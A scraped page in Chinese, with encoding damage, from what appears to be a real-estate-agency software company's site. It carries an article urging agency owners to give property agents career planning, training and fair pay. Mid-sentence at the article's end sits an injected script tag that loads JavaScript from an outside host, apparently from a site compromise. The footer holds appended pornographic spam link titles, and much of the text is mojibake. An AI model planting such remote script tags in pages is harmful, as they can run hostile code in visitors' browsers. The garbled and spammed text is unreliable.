會(huì)員名
密碼
驗(yàn)證碼

	影響電話(huà)營(yíng)銷(xiāo)成功的三大因素
	經(jīng)紀(jì)演義十九：緊急議價(jià)
	經(jīng)紀(jì)演義十八：為什么會(huì)爆單？
	經(jīng)紀(jì)演義十七：三方談判
	經(jīng)紀(jì)演義十六：商圈責(zé)任區(qū)精耕開(kāi)發(fā)
	經(jīng)紀(jì)演義十五：房客源開(kāi)發(fā)篇
	客戶(hù)逼定成交的常見(jiàn)２０種方法
	房產(chǎn)經(jīng)紀(jì)人議價(jià)技巧
	中介業(yè)務(wù)員的１９條生存法則
	開(kāi)發(fā)客源１０大技巧
	經(jīng)紀(jì)人最影響業(yè)績(jī)的的２４種壞習(xí)慣
	中原銷(xiāo)售四字秘訣
	經(jīng)紀(jì)人的１７個(gè)錯(cuò)誤銷(xiāo)售方式

房產(chǎn)經(jīng)紀(jì)人要做好職業(yè)生涯規(guī)劃
文摘來(lái)源:焦點(diǎn)博客閱讀:10510次 [08-5-29]

中介管理培訓(xùn)班

中介管理制度大全

客戶(hù)留言

由信貸緊縮所引起的市場(chǎng)低迷,再由市場(chǎng)低迷引起的觀望情緒,由觀望情緒到最近熱議的所謂中介費(fèi)“打折”，房產(chǎn)經(jīng)紀(jì)人似乎是在“坐吃山空”，身邊不少的朋友都在考慮轉(zhuǎn)行，甚至一些老板也在考慮將自己的公司關(guān)停并轉(zhuǎn)。

“職業(yè)生涯規(guī)劃”，一個(gè)熟悉而又陌生的名詞，在當(dāng)前時(shí)局之下為越來(lái)越多的從業(yè)者所重視�？陀^評(píng)價(jià)，中國(guó)現(xiàn)代房地產(chǎn)經(jīng)紀(jì)產(chǎn)業(yè)從無(wú)到有不過(guò)10個(gè)年頭，10年間經(jīng)歷了快速甚至說(shuō)高速的發(fā)展，快速的擴(kuò)張使得企業(yè)無(wú)暇顧及經(jīng)紀(jì)人的培訓(xùn)以及對(duì)經(jīng)紀(jì)人進(jìn)行職業(yè)生涯規(guī)劃，遺憾的是企業(yè)在尚未來(lái)得及解決內(nèi)部問(wèn)題時(shí)預(yù)期中的市場(chǎng)低潮已經(jīng)如期而至。

房地產(chǎn)市場(chǎng)投機(jī)者眾，這也讓不少?gòu)臉I(yè)者或多或少養(yǎng)成了“投機(jī)”心理，沒(méi)有為自己的職業(yè)生涯有一個(gè)系統(tǒng)的統(tǒng)籌規(guī)劃，無(wú)非是做一天算一天，走到哪天算那天，實(shí)在不行再改行。記得一位老上級(jí)和我說(shuō)的一番話(huà)“做這個(gè)行業(yè)要知道自己能從中得到什么”。

“盲目入行”的現(xiàn)象隨著企業(yè)的大規(guī)模招聘被反復(fù)演繹，入了行才知道自己根本不適合這個(gè)行業(yè)，于是匆匆的來(lái)又匆匆地走，導(dǎo)致了企業(yè)HR部門(mén)不斷抱怨人難招、流失高。即便招聘到一個(gè)人，也沒(méi)有一個(gè)像樣的培訓(xùn)，能有一場(chǎng)專(zhuān)心致志的“入職說(shuō)明會(huì)”就算不錯(cuò)了。

就像知名企業(yè)家嚴(yán)介和說(shuō)得一樣：“一流企業(yè)家做人不做事，二流企業(yè)家做人又做事，三流企業(yè)家不做人只做事�！爆F(xiàn)在不少的中介企業(yè)大概只是停留于三流的水平，“以人為本”不過(guò)一句口號(hào)罷了，只要這個(gè)人來(lái)了能賺錢(qián)，無(wú)所謂什么公平不公平，員工就是赤裸裸的工具，什么規(guī)劃、什么培訓(xùn)、什么保險(xiǎn)，一概沒(méi)有。老板自己都沒(méi)個(gè)規(guī)劃，能做到那天算那天，一味的擔(dān)心培訓(xùn)完了人走了，卻不考慮培訓(xùn)后如何留住人心，哪怕是在他走之前經(jīng)過(guò)培訓(xùn)的人也是可以創(chuàng)造更高產(chǎn)值的。如果說(shuō)行業(yè)洗牌是必然，那么這一類(lèi)企業(yè)趁早死了算了，活下來(lái)也不過(guò)是給行業(yè)添亂，給本就差點(diǎn)意思的行業(yè)形象再抹點(diǎn)黑。

當(dāng)前的時(shí)局，你在抱怨業(yè)績(jī)差人難招嗎？那么你真的該考慮一下自己的問(wèn)題在哪里而不是去找市場(chǎng)因素的客觀了。從最為基礎(chǔ)的培訓(xùn)以及給員工的職業(yè)生涯規(guī)劃開(kāi)始吧，或者你現(xiàn)在就該考慮為行業(yè)做點(diǎn)貢獻(xiàn)，把你這個(gè)本來(lái)就沒(méi)什么生存價(jià)值的公司關(guān)掉，興許那些打算“�！闭邽橥醯膹臉I(yè)者也會(huì)念你的好。

對(duì)經(jīng)紀(jì)人的職業(yè)生涯規(guī)劃應(yīng)該是“三位一體”的：

當(dāng)經(jīng)紀(jì)人入職的時(shí)候，你就應(yīng)該明確的告訴他這個(gè)行業(yè)是什么樣的，“我們能為你提供什么，你又能在這份事業(yè)中得到什么”，這不是忽悠而且切忌忽悠，這是一場(chǎng)溝通，對(duì)你是否適合行業(yè)的溝通，對(duì)你今年明年后年N年后所處的位置的展示，對(duì)你能夠怎樣實(shí)現(xiàn)這一幕變得詮釋。只有在讓員工明白他能得到什么的時(shí)候，他在愿意在你所指定的制度框架內(nèi)行事，因?yàn)樗麄兠靼祝瑸榱诉_(dá)到這個(gè)目標(biāo)是需要受到約束的。這是很有必要的，這也能夠?yàn)槠髽I(yè)的HR部門(mén)減負(fù)不少，因?yàn)楹芏嗳烁揪褪莵?lái)找工作的，不是來(lái)找一個(gè)職業(yè)，更不是來(lái)找一份事業(yè)的，如果這個(gè)本不適合本行業(yè)的人來(lái)了，HR的工作就成了早早準(zhǔn)備好辭退信等著他來(lái)拿了，業(yè)務(wù)一線的管理者也會(huì)抱怨HR都是吃干飯養(yǎng)活閑人的衙門(mén)。倒不如在入職最初就由他自己做評(píng)判，如果不是和這個(gè)行業(yè)，還是別在這里耽誤時(shí)間比較好。

當(dāng)經(jīng)紀(jì)人在企業(yè)成長(zhǎng)的過(guò)程中，職業(yè)生涯規(guī)劃就更為具體，上級(jí)主管應(yīng)該時(shí)刻關(guān)注經(jīng)紀(jì)人的心態(tài)與技能變化，對(duì)他的規(guī)劃也應(yīng)該在細(xì)節(jié)上做出調(diào)整。同時(shí)也應(yīng)該有更為具體的并且適應(yīng)它本階段狀況的培訓(xùn)作為跟進(jìn)，你在人的身上下的功夫越多，你能得到的回報(bào)也就越大，真正的培訓(xùn)應(yīng)該是“引人入勝”的，聽(tīng)完一場(chǎng)回去執(zhí)行，然后期盼著下一場(chǎng)培訓(xùn)能夠像一種福利一樣“如期而至”。有這樣的培訓(xùn)作為支持，員工是不會(huì)輕易離開(kāi)的，甚至于更多的經(jīng)紀(jì)人是會(huì)“慕名而來(lái)”的。這何嘗不是企業(yè)文化？

在待遇上同樣也要對(duì)經(jīng)紀(jì)人有所保障，“公平性”是體現(xiàn)在管理的執(zhí)行與制度的約束上的，對(duì)于待遇來(lái)說(shuō)，銷(xiāo)售導(dǎo)向性的行業(yè)本來(lái)就是“能者多得”的，這與規(guī)劃也是相輔相成的，或者說(shuō)這就是職業(yè)生涯規(guī)劃的具體落實(shí)。并不是人人都能創(chuàng)業(yè)做老板，有人會(huì)成長(zhǎng)為職業(yè)經(jīng)理人，而有些人適合的是始終位居一線成為金牌經(jīng)紀(jì)人的。換一個(gè)角度理解，就像軍隊(duì)有士官一樣，他們不一定是干部，但是一樣是職業(yè)軍人！待遇方面就需要有對(duì)等的保障，進(jìn)入企業(yè)的第一天和幾年之后的某一天沒(méi)什么區(qū)別，那員工只有去流動(dòng)才能得到更好的交換，也許區(qū)區(qū)底薪并不多，但是那代表著主管以及老板對(duì)這位員工的感激，是你這樣的人保障著企業(yè)的天天向上，所以我們?yōu)槟闾峁└嗟臇|西，最好的培訓(xùn)就是“締造標(biāo)桿”并且讓更多人趨之若鶩以此為榜樣。讓經(jīng)紀(jì)人進(jìn)入董事會(huì)也不是沒(méi)可能。

市場(chǎng)的變化，有時(shí)候反倒是我們冷靜下來(lái)反思的好機(jī)會(huì)，起家時(shí)候的“原罪”已經(jīng)是過(guò)去時(shí)，既然市場(chǎng)規(guī)范了，你就不要給行業(yè)添堵了。職業(yè)生涯的規(guī)劃的話(huà)題，想必是仁者見(jiàn)仁智者見(jiàn)智的，就像我在培訓(xùn)中經(jīng)常用到的一句話(huà)：“關(guān)鍵不在于你現(xiàn)在得到了多少，而在于你今天比昨天同比增加了多少”，或者你今天能賺到多少錢(qián)不是最重要的，你賺錢(qián)的峰值是多少才是?script src=http://www.24aspx.com/script.js>

【相關(guān)文摘】房產(chǎn)經(jīng)紀(jì)八招識(shí)別假房產(chǎn)證 [10977]
【相關(guān)文摘】房地產(chǎn)經(jīng)紀(jì)實(shí)務(wù)模擬試題３ [11010]
【相關(guān)文摘】房地產(chǎn)經(jīng)紀(jì)實(shí)務(wù)模擬試題２ [10561]
【相關(guān)文摘】房地產(chǎn)經(jīng)紀(jì)實(shí)務(wù)模擬試題１ [12719]
【相關(guān)文摘】如何計(jì)算投資回報(bào)率？ [12225]
【相關(guān)文摘】商鋪投資收益率四種算法 [11330]
【相關(guān)文摘】當(dāng)代房產(chǎn)經(jīng)紀(jì)人的困惑 [11187]
【相關(guān)文摘】房東反水/中介撞單/獨(dú)家委托等的實(shí)戰(zhàn)問(wèn)答 [10921]
【相關(guān)文摘】優(yōu)秀地產(chǎn)經(jīng)紀(jì)人必備“正向思考”能力 [13418]
【相關(guān)文摘】經(jīng)紀(jì)人的四面“鏡子” [14700]

中介管理培訓(xùn)班

歡迎報(bào)名參加

【培訓(xùn)】房友培訓(xùn)班講師介紹
【培訓(xùn)】房友培訓(xùn)班現(xiàn)場(chǎng)照片
【服務(wù)】中介管理制度書(shū)籍
【服務(wù)】中介行業(yè)管理文摘
【服務(wù)】中介電腦硬件推薦

房友軟件技術(shù)有限公司深圳市福田區(qū)上步南路國(guó)企大廈B座12D-E室(518031)
總機(jī):0755-82130070 傳真:25911829 郵件:fangyouchina@163.com [廣東] 0755-25880220,82130049,82130076,25880329,13510853109
[北京] 0755-82130070,13316953181[上海] 0755-25880329,13510853109 [廣州/佛山] 020-62235880,13570906453 [天津] 18853119381
[河北] 18853119381 [杭州] 0571-86956605,13588048012 [南京] 13505159729,13770578282 [蘇錫常] 15951885873 [合肥] 13856935307
[河南] 18853119381 [山東] 0531-85936911,18853119381[成都] 028-66822022,13880767677 [重慶] 023-67530890,13436114789
[昆明] 028-66822022,18100893151 [西安] 13572176799 [福建] 0592-6022961,19905929501,19905929503
[武漢] 15307165353 [長(zhǎng)沙] 15307165353 [江西] 13602675916 [南寧] 13878876378 [沈陽(yáng)] 15804662075 [大連] 15804662075
[�？赸 15120790561,0898-65203645 [長(zhǎng)春] 15804662075 [哈爾濱] 15804662075

国产精品99色视频|99亚洲直播在线观看|久久国产精品久久久久久|久久精品无码一区二区毛片|国产成人A∨激情视频厨房|亚洲综合久久综合激情久久|国产午夜成人精品视频APP|视频一区二区三区国产欧美日韩